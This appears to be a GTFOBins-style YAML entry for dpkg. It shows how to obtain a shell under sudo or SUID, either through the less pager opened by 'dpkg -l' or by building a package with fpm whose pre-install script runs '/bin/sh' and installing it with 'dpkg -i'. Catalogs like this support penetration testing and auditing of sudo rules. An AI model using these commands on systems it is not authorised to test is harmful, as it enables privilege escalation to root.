Files

24 lines
446 B
Plaintext

---
functions:
inherit:
- code: |-
dpkg -l
contexts:
sudo:
suid:
unprivileged:
from: less
shell:
- code: |-
dpkg -i x_1.0_all.deb
comment: |-
Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
echo 'exec /bin/sh' >x.sh
fpm -n x -s dir -t deb -a all --before-install x.sh .
```
contexts:
sudo:
...